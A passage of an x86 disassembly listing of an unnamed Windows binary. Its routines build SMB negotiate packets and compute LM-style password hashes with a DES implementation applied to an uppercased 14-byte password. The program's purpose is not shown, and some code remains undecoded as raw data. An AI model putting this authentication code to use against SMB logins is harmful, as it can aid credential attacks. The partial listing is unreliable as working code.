		push	[ebp+var_4]
		call	sub_40A0FE


loc_4126EC:				; CODE XREF: sub_412670+2Ej
		mov	eax, ebx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	0Ch
sub_412670	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0A4h, 24h
		dd 0
		dd 24648Dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412700	proc near		; CODE XREF: sub_410F30+120p
					; sub_410F30+131p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		push	offset dword_41C060
		call	sub_40A134
		xor	ebx, ebx
		mov	esi, dword_41A958
		mov	edx, [ebp+arg_0]
		jmp	short loc_412721
; ---------------------------------------------------------------------------


loc_41271D:				; CODE XREF: sub_412700+23j
		inc	ebx
		add	esi, 4


loc_412721:				; CODE XREF: sub_412700+1Bj
		cmp	[esi], edx
		jnz	short loc_41271D
		xor	ecx, ecx
		mov	edi, dword_41A958
		mov	[edi+ebx*4], ecx
		push	offset dword_41C078
		call	sub_40A1B2
		push	offset dword_41C060
		call	sub_40A1C4
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
sub_412700	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41274B	proc near		; CODE XREF: rdata:0040507Bp
					; sub_410F30+1Dp ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	edi
		push	esi
		push	ebx
		cmp	dword_41A958, 0
		jnz	short loc_41278A
		push	offset dword_41C060
		call	sub_40A1AC
		mov	eax, 0C7800h
		add	eax, 1000h
		and	eax, 0FFFFF000h
		push	4
		push	3000h
		push	eax
		push	0
		call	sub_40A22A
		mov	dword_41A958, eax


loc_41278A:				; CODE XREF: sub_41274B+10j
		cmp	dword_41C078, 1F4h
		jbe	short loc_4127A0
		push	7D0h
		call	sub_40A212


loc_4127A0:				; CODE XREF: sub_41274B+49j
		push	offset dword_41C060
		call	sub_40A134
		xor	ebx, ebx
		mov	esi, dword_41A958
		mov	edi, esi
		jmp	short loc_4127C6
; ---------------------------------------------------------------------------


loc_4127B6:				; CODE XREF: sub_41274B+7Ej
		inc	ebx
		cmp	ebx, 400h
		jnz	short loc_4127C3
		xor	edi, edi
		jmp	short loc_4127ED
; ---------------------------------------------------------------------------


loc_4127C3:				; CODE XREF: sub_41274B+72j
		add	esi, 4


loc_4127C6:				; CODE XREF: sub_41274B+69j
		cmp	dword ptr [esi], 0
		jnz	short loc_4127B6
		mov	esi, dword_41A958
		add	edi, 1000h
		mov	eax, 31Ah
		mul	ebx
		add	edi, eax
		mov	[esi+ebx*4], edi
		push	offset dword_41C078
		call	sub_40A1B8


loc_4127ED:				; CODE XREF: sub_41274B+76j
		mov	[ebp+var_4], edi
		push	offset dword_41C060
		call	sub_40A1C4
		mov	eax, [ebp+var_4]
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
sub_41274B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412804	proc near		; CODE XREF: sub_410F30+86p
					; sub_411080+86p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	ebx, [ebx+4]
		mov	esi, [ebp+arg_4]
		mov	eax, [ebx+1Ch]
		mov	[esi+1Ah], ax
		add	dword ptr [ebx+20h], 10h
		mov	eax, [ebx+20h]
		mov	[esi+1Eh], ax
		mov	eax, [ebx+18h]
		mov	[esi+1Ch], ax
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	8
sub_412804	endp

; ---------------------------------------------------------------------------
		db 8Dh
		dd 24A4h, 9B8D0000h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412840	proc near		; CODE XREF: sub_407B46+109p
					; sub_407B46+1A6p ...

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	edi
		push	esi
		push	ebx
		mov	ebx, 1
		mov	esi, [ebp+arg_8]


loc_412851:				; CODE XREF: sub_412840:loc_41287Fj
		mov	edi, 1000h
		cmp	edi, [ebp+arg_C]
		jbe	short loc_41285E
		mov	edi, [ebp+arg_C]


loc_41285E:				; CODE XREF: sub_412840+19j
		lea	eax, [ebp+var_8]
		push	eax
		push	edi
		push	esi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4142F0
		xor	ebx, ebx
		add	esi, edi
		sub	[ebp+arg_C], edi
		cmp	[ebp+arg_C], 0
		jnz	short loc_41287F
		jmp	short loc_412881
; ---------------------------------------------------------------------------


loc_41287F:				; CODE XREF: sub_412840+3Bj
		jmp	short loc_412851
; ---------------------------------------------------------------------------


loc_412881:				; CODE XREF: sub_412840+3Dj
		mov	[ebp+var_4], 0
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	2
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_411340
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	18h
sub_412840	endp

; ---------------------------------------------------------------------------
		dd 24A48Dh, 90000000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4128B0	proc near		; CODE XREF: sub_411800+9Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	esi
		push	edi
		push	ebx
		mov	esi, 0FFFFFFFFh
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx+0Ch]
		or	eax, eax
		jz	loc_412979
		mov	esi, eax
		push	0EBh
		push	0
		push	esi
		call	sub_40F5F0
		mov	[ebp+var_4], esi
		add	esi, 4
		mov	dword ptr [esi], 424D53FFh
		mov	byte ptr [esi+4], 72h
		mov	byte ptr [esi+9], 8
		mov	word ptr [esi+0Ah], 4001h
		push	esi
		push	ebx
		call	sub_412804
		add	esi, 20h
		mov	eax, [ebp+arg_8]
		mov	[esi+1], ax
		add	esi, 3
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_40F5BF
		add	esi, [ebp+arg_8]
		mov	edi, [ebp+var_4]
		sub	esi, edi
		lea	eax, [esi-4]
		push	eax
		call	sub_40A30E
		mov	[edi], eax
		push	1000h
		push	edi
		push	esi
		push	edi
		push	dword ptr [ebx+8]
		call	sub_410DC0
		mov	esi, 0FFFFFFFFh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412979
		mov	ecx, [edi]
		push	ecx
		call	sub_40A30E
		cmp	eax, 24h
		jbe	short loc_412979
		add	edi, 4
		mov	esi, [edi+5]
		add	edi, 20h
		cmp	byte ptr [edi+3], 3
		jnz	short loc_412979
		movzx	edx, byte ptr [edi]
		shl	edx, 1
		add	edx, 3
		add	edi, edx
		cmp	[ebp+arg_C], 0
		jz	short loc_412979
		push	8
		push	edi
		push	[ebp+arg_C]
		call	sub_40F5BF


loc_412979:				; CODE XREF: sub_4128B0+16j
					; sub_4128B0+90j ...
		mov	eax, esi
		pop	ebx
		pop	edi
		pop	esi
		leave
		retn	10h
sub_4128B0	endp

; ---------------------------------------------------------------------------
		dw 0A48Dh
		dd 24h,	24A48D00h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412990	proc near		; CODE XREF: sub_411800+D3p

var_430		= byte ptr -430h
var_400		= byte ptr -400h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFBD0h
		push	esi
		push	ebx
		push	edi
		push	30h
		push	0
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40F5F0
		lea	esi, [ebp+var_400]
		push	400h
		push	0
		push	esi
		call	sub_40F5F0
		lea	edi, [esi+100h]
		lea	ebx, [edi+10h]
		push	[ebp+arg_0]
		push	ebx
		call	sub_40A25A
		push	8
		push	[ebp+arg_4]
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_40F5BF
		lea	esi, [edi+90h]
		push	esi
		push	ebx
		call	sub_412A2B
		add	esp, 8
		add	esi, 10h
		push	esi
		push	ebx
		call	loc_413191
		add	esp, 8
		lea	eax, [ebp+var_430]
		push	eax
		lea	eax, [ebp+var_400]
		push	eax
		push	edi
		call	near ptr dword_413020
		add	esp, 0Ch
		add	esi, 10h
		push	30h
		push	esi
		push	[ebp+arg_8]
		call	sub_40F5BF
		pop	edi
		pop	ebx
		pop	esi
		leave
		retn	0Ch
sub_412990	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412A2B	proc near		; CODE XREF: sub_412990+5Ap

var_18		= byte ptr -18h
var_A		= byte ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		push	0Fh
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_40F5F0
		cmp	[ebp+arg_0], 0
		jz	short loc_412A52
		push	0Eh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_40A260


loc_412A52:				; CODE XREF: sub_412A2B+17j
		mov	[ebp+var_A], 0
		xor	ecx, ecx
		mov	[ebp+var_4], ecx
		jmp	short loc_412A7A
; ---------------------------------------------------------------------------


loc_412A5D:				; CODE XREF: sub_412A2B+57j
		mov	ecx, [ebp+var_4]
		movsx	eax, byte ptr [ecx+ebp-18h]
		mov	[ebp+var_8], eax
		push	[ebp+var_8]
		call	sub_414408
		mov	edx, [ebp+var_4]
		mov	[edx+ebp-18h], al
		inc	[ebp+var_4]


loc_412A7A:				; CODE XREF: sub_412A2B+30j
		mov	ecx, [ebp+var_4]
		cmp	byte ptr [ecx+ebp-18h],	0
		jnz	short loc_412A5D
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_412AA4
		add	esp, 8
		push	0Fh
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_40F5F0
		mov	esp, ebp
		pop	ebp
		retn
sub_412A2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412AA4	proc near		; CODE XREF: sub_412A2B+60p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	eax, dword_41ACC8
		mov	[ebp+var_8], eax
		mov	eax, dword_41ACCC
		mov	[ebp+var_4], eax
		push	1
		push	[ebp+arg_0]
		lea	edx, [ebp+var_8]
		push	edx
		push	[ebp+arg_4]
		call	sub_412AEE
		add	esp, 10h
		push	1
		mov	ecx, [ebp+arg_0]
		add	ecx, 7
		push	ecx
		lea	eax, [ebp+var_8]
		push	eax
		mov	edx, [ebp+arg_4]
		add	edx, 8
		push	edx
		call	sub_412AEE
		add	esp, 10h
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_412AA4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412AEE	proc near		; CODE XREF: sub_412AA4+22p
					; sub_412AA4+3Ep

var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_4C		= byte ptr -4Ch
var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF34h
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+arg_8]
		call	sub_4140FF
		add	esp, 8
		xor	edx, edx
		mov	[ebp+var_4], edx


loc_412B0B:				; CODE XREF: sub_412AEE+BBj
		mov	ecx, [ebp+var_4]
		and	ecx, 80000007h
		jns	short loc_412B1B
		dec	ecx
		or	ecx, 0FFFFFFF8h
		inc	ecx


loc_412B1B:				; CODE XREF: sub_412AEE+26j
		push	ecx
		mov	ecx, 7
		pop	eax
		sub	ecx, eax
		mov	edx, 1
		shl	edx, cl
		mov	eax, [ebp+var_4]
		test	eax, eax
		jns	short loc_412B35
		add	eax, 7


loc_412B35:				; CODE XREF: sub_412AEE+42j
		sar	eax, 3
		mov	ecx, [ebp+arg_4]
		movzx	eax, byte ptr [eax+ecx]
		and	edx, eax
		jz	short loc_412B47
		mov	dl, 1
		jmp	short loc_412B49
; ---------------------------------------------------------------------------


loc_412B47:				; CODE XREF: sub_412AEE+53j
		xor	edx, edx


loc_412B49:				; CODE XREF: sub_412AEE+57j
		mov	eax, [ebp+var_4]
		mov	[eax+ebp-8Ch], dl
		mov	ecx, [ebp+var_4]
		and	ecx, 80000007h
		jns	short loc_412B63
		dec	ecx
		or	ecx, 0FFFFFFF8h
		inc	ecx


loc_412B63:				; CODE XREF: sub_412AEE+6Ej
		push	ecx
		mov	ecx, 7
		pop	eax
		sub	ecx, eax
		mov	edx, 1
		shl	edx, cl
		mov	eax, [ebp+var_4]
		test	eax, eax
		jns	short loc_412B7D
		add	eax, 7


loc_412B7D:				; CODE XREF: sub_412AEE+8Aj
		sar	eax, 3
		xor	ecx, ecx
		mov	cl, [eax+ebp-0Ch]
		and	edx, ecx
		jz	short loc_412B8E
		mov	dl, 1
		jmp	short loc_412B90
; ---------------------------------------------------------------------------


loc_412B8E:				; CODE XREF: sub_412AEE+9Aj
		xor	edx, edx


loc_412B90:				; CODE XREF: sub_412AEE+9Ej
		mov	eax, [ebp+var_4]
		mov	[eax+ebp-0CCh],	dl
		mov	ecx, [ebp+var_4]
		mov	byte ptr [ecx+ebp-4Ch],	0
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 40h
		jl	loc_412B0B
		push	[ebp+arg_C]
		lea	eax, [ebp+var_CC]
		push	eax
		lea	edx, [ebp+var_8C]
		push	edx
		lea	ecx, [ebp+var_4C]
		push	ecx
		call	sub_412C30
		add	esp, 10h
		xor	eax, eax
		mov	[ebp+var_4], eax


loc_412BD1:				; CODE XREF: sub_412AEE+F4j
		mov	edx, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	byte ptr [edx+ecx], 0
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 8
		jl	short loc_412BD1
		xor	eax, eax
		mov	[ebp+var_4], eax


loc_412BE9:				; CODE XREF: sub_412AEE+13Cj
		mov	edx, [ebp+var_4]
		cmp	byte ptr [edx+ebp-4Ch],	0
		jz	short loc_412C23
		mov	ecx, [ebp+var_4]
		and	ecx, 80000007h
		jns	short loc_412C03
		dec	ecx
		or	ecx, 0FFFFFFF8h
		inc	ecx


loc_412C03:				; CODE XREF: sub_412AEE+10Ej
		push	ecx
		mov	ecx, 7
		pop	eax
		sub	ecx, eax
		mov	dl, 1
		shl	dl, cl
		mov	eax, [ebp+var_4]
		test	eax, eax
		jns	short loc_412C1A
		add	eax, 7


loc_412C1A:				; CODE XREF: sub_412AEE+127j
		sar	eax, 3
		mov	ecx, [ebp+arg_0]
		or	[eax+ecx], dl


loc_412C23:				; CODE XREF: sub_412AEE+103j
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 40h
		jl	short loc_412BE9
		mov	esp, ebp
		pop	ebp
		retn
sub_412AEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412C30	proc near		; CODE XREF: sub_412AEE+D6p

var_56C		= byte ptr -56Ch
var_54C		= byte ptr -54Ch
var_52C		= byte ptr -52Ch
var_50C		= byte ptr -50Ch
var_50B		= byte ptr -50Bh
var_50A		= byte ptr -50Ah
var_509		= byte ptr -509h
var_508		= byte ptr -508h
var_507		= byte ptr -507h
var_4DC		= byte ptr -4DCh
var_4AC		= byte ptr -4ACh
var_47C		= byte ptr -47Ch
var_43C		= byte ptr -43Ch
var_41C		= byte ptr -41Ch
var_3FC		= byte ptr -3FCh
var_3BC		= byte ptr -3BCh
var_BC		= byte ptr -0BCh
var_84		= byte ptr -84h
var_68		= byte ptr -68h
var_4C		= byte ptr -4Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFA94h
		push	38h
		push	offset dword_41A980
		push	[ebp+arg_8]
		lea	eax, [ebp+var_4C]
		push	eax
		call	loc_412FE6
		add	esp, 10h
		xor	edx, edx
		mov	[ebp+var_4], edx


loc_412C54:				; CODE XREF: sub_412C30+39j
		mov	ecx, [ebp+var_4]
		mov	al, [ecx+ebp-4Ch]
		mov	edx, [ebp+var_4]
		mov	[edx+ebp-68h], al
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 1Ch
		jl	short loc_412C54
		xor	ecx, ecx
		mov	[ebp+var_4], ecx


loc_412C70:				; CODE XREF: sub_412C30+58j
		mov	eax, [ebp+var_4]
		mov	dl, [eax+ebp-30h]
		mov	ecx, [ebp+var_4]
		mov	[ecx+ebp-84h], dl
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 1Ch
		jl	short loc_412C70
		xor	eax, eax
		mov	[ebp+var_4], eax


loc_412C8F:				; CODE XREF: sub_412C30+E3j
		push	1Ch
		mov	edx, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, byte_41AAB8[edx]
		push	ecx
		lea	eax, [ebp+var_68]
		push	eax
		call	near ptr dword_413130
		add	esp, 0Ch
		push	1Ch
		mov	edx, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, byte_41AAB8[edx]
		push	ecx
		lea	eax, [ebp+var_84]
		push	eax
		call	near ptr dword_413130
		add	esp, 0Ch
		push	1Ch
		push	1Ch
		lea	edx, [ebp+var_84]
		push	edx
		lea	ecx, [ebp+var_68]
		push	ecx
		lea	eax, [ebp+var_BC]
		push	eax
		call	sub_4140AB
		add	esp, 14h
		push	30h
		push	offset dword_41A9B8
		lea	edx, [ebp+var_BC]
		push	edx
		mov	ecx, [ebp+var_4]
		shl	ecx, 4
		lea	ecx, [ecx+ecx*2]
		lea	eax, [ebp+var_3BC]
		add	ecx, eax
		push	ecx
		call	loc_412FE6
		add	esp, 10h
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 10h
		jl	loc_412C8F
		push	40h
		push	offset dword_41A9E8
		push	[ebp+arg_4]
		lea	edx, [ebp+var_3FC]
		push	edx
		call	loc_412FE6
		add	esp, 10h
		xor	ecx, ecx
		mov	[ebp+var_8], ecx


loc_412D37:				; CODE XREF: sub_412C30+136j
		mov	eax, [ebp+var_8]
		mov	dl, [eax+ebp-3FCh]
		mov	ecx, [ebp+var_8]
		mov	[ecx+ebp-41Ch],	dl
		mov	eax, [ebp+var_8]
		mov	dl, [eax+ebp-3DCh]
		mov	ecx, [ebp+var_8]
		mov	[ecx+ebp-43Ch],	dl
		inc	[ebp+var_8]
		cmp	[ebp+var_8], 20h
		jl	short loc_412D37
		xor	eax, eax
		mov	[ebp+var_4], eax


loc_412D6D:				; CODE XREF: sub_412C30+372j
		push	30h
		push	offset dword_41AA28
		lea	edx, [ebp+var_43C]
		push	edx
		lea	ecx, [ebp+var_4AC]
		push	ecx
		call	loc_412FE6
		add	esp, 10h
		push	30h
		cmp	[ebp+arg_C], 0
		jz	short loc_412D97
		mov	eax, [ebp+var_4]
		jmp	short loc_412D9F
; ---------------------------------------------------------------------------


loc_412D97:				; CODE XREF: sub_412C30+160j
		mov	eax, 0Fh
		sub	eax, [ebp+var_4]


loc_412D9F:				; CODE XREF: sub_412C30+165j
		mov	edx, eax
		shl	edx, 4
		lea	edx, [edx+edx*2]
		lea	ecx, [ebp+var_3BC]
		add	edx, ecx
		push	edx
		lea	eax, [ebp+var_4AC]
		push	eax
		lea	edx, [ebp+var_4DC]
		push	edx
		call	sub_414071
		add	esp, 10h
		xor	ecx, ecx
		mov	[ebp+var_8], ecx


loc_412DCB:				; CODE XREF: sub_412C30+1D6j
		xor	eax, eax
		mov	[ebp+var_C], eax


loc_412DD0:				; CODE XREF: sub_412C30+1CDj
		mov	edx, [ebp+var_8]
		lea	edx, [edx+edx*2]
		lea	ecx, [ebp+edx*2+var_4DC]
		mov	eax, [ebp+var_C]
		mov	dl, [eax+ecx]
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+ecx*2]
		lea	eax, [ebp+ecx*2+var_50C]
		mov	ecx, [ebp+var_C]
		mov	[ecx+eax], dl
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 6
		jl	short loc_412DD0
		inc	[ebp+var_8]
		cmp	[ebp+var_8], 8
		jl	short loc_412DCB
		xor	edx, edx
		mov	[ebp+var_8], edx


loc_412E0D:				; CODE XREF: sub_412C30+2A6j
		mov	eax, [ebp+var_8]
		lea	eax, [eax+eax*2]
		movsx	edx, [ebp+eax*2+var_50C]
		add	edx, edx
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+ecx*2]
		movsx	eax, [ebp+ecx*2+var_507]
		or	edx, eax
		mov	[ebp+var_10], edx
		mov	edx, [ebp+var_8]
		lea	edx, [edx+edx*2]
		movsx	ecx, [ebp+edx*2+var_50B]
		shl	ecx, 3
		mov	eax, [ebp+var_8]
		lea	eax, [eax+eax*2]
		movsx	edx, [ebp+eax*2+var_50A]
		shl	edx, 2
		or	ecx, edx
		mov	eax, [ebp+var_8]
		lea	eax, [eax+eax*2]
		movsx	edx, [ebp+eax*2+var_509]
		add	edx, edx
		or	ecx, edx
		mov	eax, [ebp+var_8]
		lea	eax, [eax+eax*2]
		movsx	edx, [ebp+eax*2+var_508]
		or	ecx, edx
		mov	[ebp+var_14], ecx
		xor	ecx, ecx
		mov	[ebp+var_C], ecx


loc_412E7E:				; CODE XREF: sub_412C30+29Dj
		mov	ecx, 3
		sub	ecx, [ebp+var_C]
		mov	eax, 1
		shl	eax, cl
		mov	edx, [ebp+var_10]
		shl	edx, 4
		mov	ecx, [ebp+var_8]
		shl	ecx, 6
		add	ecx, offset dword_41AAC8
		lea	edx, [edx+ecx]
		mov	ecx, [ebp+var_14]
		movzx	edx, byte ptr [ecx+edx]
		and	eax, edx
		jz	short loc_412EB1
		mov	al, 1
		jmp	short loc_412EB3
; ---------------------------------------------------------------------------


loc_412EB1:				; CODE XREF: sub_412C30+27Bj
		xor	eax, eax


loc_412EB3:				; CODE XREF: sub_412C30+27Fj
		mov	edx, [ebp+var_8]
		lea	edx, [edx+edx*2]
		lea	ecx, [ebp+edx*2+var_50C]
		mov	edx, [ebp+var_C]
		mov	[edx+ecx], al
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 4
		jl	short loc_412E7E
		inc	[ebp+var_8]
		cmp	[ebp+var_8], 8
		jl	loc_412E0D
		xor	eax, eax
		mov	[ebp+var_8], eax


loc_412EE1:				; CODE XREF: sub_412C30+2E9j
		xor	ecx, ecx
		mov	[ebp+var_C], ecx


loc_412EE6:				; CODE XREF: sub_412C30+2E0j
		mov	eax, [ebp+var_8]
		lea	eax, [eax+eax*2]
		lea	edx, [ebp+eax*2+var_50C]
		mov	ecx, [ebp+var_C]
		mov	al, [ecx+edx]
		mov	edx, [ebp+var_8]
		lea	ecx, [ebp+edx*4+var_52C]
		mov	edx, [ebp+var_C]
		mov	[edx+ecx], al
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 4
		jl	short loc_412EE6
		inc	[ebp+var_8]
		cmp	[ebp+var_8], 8
		jl	short loc_412EE1
		push	20h
		push	offset dword_41AA58
		lea	eax, [ebp+var_52C]
		push	eax
		lea	ecx, [ebp+var_54C]
		push	ecx
		call	loc_412FE6
		add	esp, 10h
		push	20h
		lea	eax, [ebp+var_54C]
		push	eax
		lea	edx, [ebp+var_41C]
		push	edx
		lea	ecx, [ebp+var_56C]
		push	ecx
		call	sub_414071
		add	esp, 10h
		xor	eax, eax
		mov	[ebp+var_8], eax


loc_412F5C:				; CODE XREF: sub_412C30+347j
		mov	edx, [ebp+var_8]
		mov	cl, [edx+ebp-43Ch]
		mov	eax, [ebp+var_8]
		mov	[eax+ebp-41Ch],	cl
		inc	[ebp+var_8]
		cmp	[ebp+var_8], 20h
		jl	short loc_412F5C
		xor	edx, edx
		mov	[ebp+var_8], edx


loc_412F7E:				; CODE XREF: sub_412C30+369j
		mov	ecx, [ebp+var_8]
		mov	al, [ecx+ebp-56Ch]
		mov	edx, [ebp+var_8]
		mov	[edx+ebp-43Ch],	al
		inc	[ebp+var_8]
		cmp	[ebp+var_8], 20h
		jl	short loc_412F7E
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 10h
		jl	loc_412D6D
		push	20h
		push	20h
		lea	ecx, [ebp+var_41C]
		push	ecx
		lea	eax, [ebp+var_43C]
		push	eax
		lea	edx, [ebp+var_47C]
		push	edx
		call	sub_4140AB
		add	esp, 14h
		push	40h
		push	offset dword_41AA78
		lea	ecx, [ebp+var_47C]
		push	ecx
		push	[ebp+arg_0]
		call	loc_412FE6
		add	esp, 10h
		mov	esp, ebp
		pop	ebp
		retn
sub_412C30	endp

; ---------------------------------------------------------------------------


loc_412FE6:				; CODE XREF: sub_412C30+17p
					; sub_412C30+D4p ...
		push	ebp
		mov	ebp, esp
		push	ecx
		xor	eax, eax
		mov	[ebp-4], eax
		mov	edx, [ebp-4]
		cmp	edx, [ebp+14h]
		jge	short near ptr dword_41301C+1
		mov	ecx, [ebp+10h]
		mov	eax, [ebp-4]
		xor	edx, edx
; ---------------------------------------------------------------------------
		db 8Ah
dword_413000	dd 4D8B0814h			dd 0A448A0Ch
dword_413008	dd 0FC558BFFh	dword_41300C	dd 88084D8Bh	dword_413010	dd 45FF0A04h	dword_413014	dd 0FC458BFCh	dword_413018	dd 7C14453Bh	dword_41301C	dd 0C35D59DAh						; DATA XREF: sub_40A2A2r
dword_413020	dd 8BEC8B55h						; DATA XREF: sub_40A2C0r
dword_413024	dd 38830845h	dword_413028	dd 8B0D7400h	dword_41302C	dd 0C9330855h	dword_413030	dd 1488A89h	dword_413034	dd 0C35D0000h	dword_413038	dd 508458Bh	dword_41303C	dd 0B0h		dword_413040	dd 0C75FF50h			dd 8108558Bh
dword_413048	dd 90C2h			dd 58E85200h
dword_413050	dd 83000000h	dword_413054	dd 4D8B0CC4h	dword_413058	dd 0C8C18108h	dword_41305C	dd 51000000h	dword_413060	dd 8B0C75FFh	dword_413064	dd 0A0050845h	dword_413068	dd 50000000h	dword_41306C	dd 3AE8h	dword_413070	dd 0CC48300h	dword_413074	dd 0C708558Bh	dword_413078	dd 14882h	dword_41307C	dd 1800h	dword_413080	dd 1075FF00h	dword_413084	dd 81084D8Bh	dword_413088	dd 0C8C1h	dword_41308C	dd 458B5100h	dword_413090	dd 0A00508h	dword_413094	dd 0E8500000h	dword_413098	dd 104Eh	dword_41309C	dd 8B0CC483h	dword_4130A0	dd 42C70855h	dword_4130A4	dd 108h		dword_4130A8	dd 55C35D00h	dword_4130AC	dd 0C483EC8Bh			dd 6A156AE8h
dword_4130B4	dd 0E8458D00h	dword_4130B8	dd 0C532E850h	dword_4130BC	dd 106AFFFFh	dword_4130C0	dd 8D0875FFh	dword_4130C4	dd 0E850E845h	dword_4130C8	dd 0FFFFC4F3h	dword_4130CC	dd 0FF1075FFh	dword_4130D0	dd 4D8D0C75h	dword_4130D4	dd 7E851E8h	dword_4130D8	dd 83000000h	dword_4130DC	dd 0E58B0CC4h	dword_4130E0	dd 8B55C35Dh	dword_4130E4	dd 0FF016AECh	dword_4130E8	dd 75FF0875h	dword_4130EC	dd 1075FF0Ch	dword_4130F0	dd 0FFF9F9E8h	dword_4130F4	dd 10C483FFh	dword_4130F8	dd 458B016Ah	dword_4130FC	dd 7C08308h	dword_413100	dd 0C75FF50h	dword_413104	dd 8310558Bh	dword_413108	dd 0E85208C2h	dword_41310C	dd 0FFFFF9DEh	dword_413110	dd 6A10C483h	dword_413114	dd 84D8B01h	dword_413118	dd 510EC183h	dword_41311C	dd 8B0C75FFh	dword_413120	dd 0C0831045h	dword_413124	dd 0C3E85010h	dword_413128	dd 83FFFFF9h	dword_41312C	dd 0C35D10C4h	dword_413130	dd 83EC8B55h						; sub_412C30+8Ep
					; DATA XREF: ...
dword_413134	dd 0C033BCC4h	dword_413138	dd 8BFC4589h	dword_41313C	dd 553BFC55h	dword_413140	dd 8B227D10h	dword_413144	dd 4503FC45h	dword_413148	dd 7DF7990Ch	dword_41314C	dd 84D8B10h	dword_413150	dd 8B0A048Ah			dd 4488FC55h
dword_413158	dd 45FFBC2Ah	dword_41315C	dd 0FC4D8BFCh	dword_413160	dd 7C104D3Bh	dword_413164	dd 89C033DEh	dword_413168	dd 558BFC45h	dword_41316C	dd 10553BFCh			dd 4D8B1B7Dh
dword_413174	dd 29448AFCh			dd 8558BBCh
dword_41317C	dd 88FC4D8Bh			dd 45FF1104h
dword_413184	dd 0FC458BFCh	dword_413188	dd 7C10453Bh	dword_41318C	dd 5DE58BE5h			db 0C3h
; ---------------------------------------------------------------------------


loc_413191:				; CODE XREF: sub_412990+67p
		push	ebp
		mov	ebp, esp
; ---------------------------------------------------------------------------
